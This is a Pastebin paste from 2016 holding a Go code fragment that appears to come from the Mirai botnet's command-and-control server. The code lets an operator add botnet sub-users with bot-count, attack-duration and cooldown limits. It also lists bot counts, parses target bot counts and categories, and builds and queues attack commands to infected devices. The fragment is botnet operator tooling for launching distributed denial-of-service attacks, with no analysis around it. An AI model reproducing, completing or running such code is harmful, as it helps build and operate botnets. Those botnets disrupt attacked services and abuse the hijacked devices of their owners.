Advertisement
Guest User

MIRAI BOTNET OH SHIT CALL COPS

a guest
Nov 28th, 2016
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.37 KB | None | 0 0
  1. if userInfo.admin == 1 && cmd == "adduser" {
  2. this.conn.Write([]byte("Enter new username: "))
  3. new_un, err := this.ReadLine(false)
  4. if err != nil {
  5. return
  6. }
  7. this.conn.Write([]byte("Enter new password: "))
  8. new_pw, err := this.ReadLine(false)
  9. if err != nil {
  10. return
  11. }
  12. this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  13. max_bots_str, err := this.ReadLine(false)
  14. if err != nil {
  15. return
  16. }
  17. max_bots, err := strconv.Atoi(max_bots_str)
  18. if err != nil {
  19. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  20. continue
  21. }
  22. this.conn.Write([]byte("Max attack duration (-1 for none): "))
  23. duration_str, err := this.ReadLine(false)
  24. if err != nil {
  25. return
  26. }
  27. duration, err := strconv.Atoi(duration_str)
  28. if err != nil {
  29. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  30. continue
  31. }
  32. this.conn.Write([]byte("Cooldown time (0 for none): "))
  33. cooldown_str, err := this.ReadLine(false)
  34. if err != nil {
  35. return
  36. }
  37. cooldown, err := strconv.Atoi(cooldown_str)
  38. if err != nil {
  39. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  40. continue
  41. }
  42. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  43. confirm, err := this.ReadLine(false)
  44. if err != nil {
  45. return
  46. }
  47. if confirm != "y" {
  48. continue
  49. }
  50. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  51. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  52. } else {
  53. this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  54. }
  55. continue
  56. }
  57. if userInfo.admin == 1 && cmd == "botcount" {
  58. m := clientList.Distribution()
  59. for k, v := range m {
  60. this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
  61. }
  62. continue
  63. }
  64. if cmd[0] == '-' {
  65. countSplit := strings.SplitN(cmd, " ", 2)
  66. count := countSplit[0][1:]
  67. botCount, err = strconv.Atoi(count)
  68. if err != nil {
  69. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  70. continue
  71. }
  72. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  73. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  74. continue
  75. }
  76. cmd = countSplit[1]
  77. }
  78. if userInfo.admin == 1 && cmd[0] == '@' {
  79. cataSplit := strings.SplitN(cmd, " ", 2)
  80. botCatagory = cataSplit[0][1:]
  81. cmd = cataSplit[1]
  82. }
  83.  
  84. atk, err := NewAttack(cmd, userInfo.admin)
  85. if err != nil {
  86. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  87. } else {
  88. buf, err := atk.Build()
  89. if err != nil {
  90. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  91. } else {
  92. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  93. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  94. } else if !database.ContainsWhitelistedTargets(atk) {
  95. clientList.QueueBuf(buf, botCount, botCatagory)
  96. } else {
  97. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  98. }
  99. }
  100. }
  101. }
  102. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement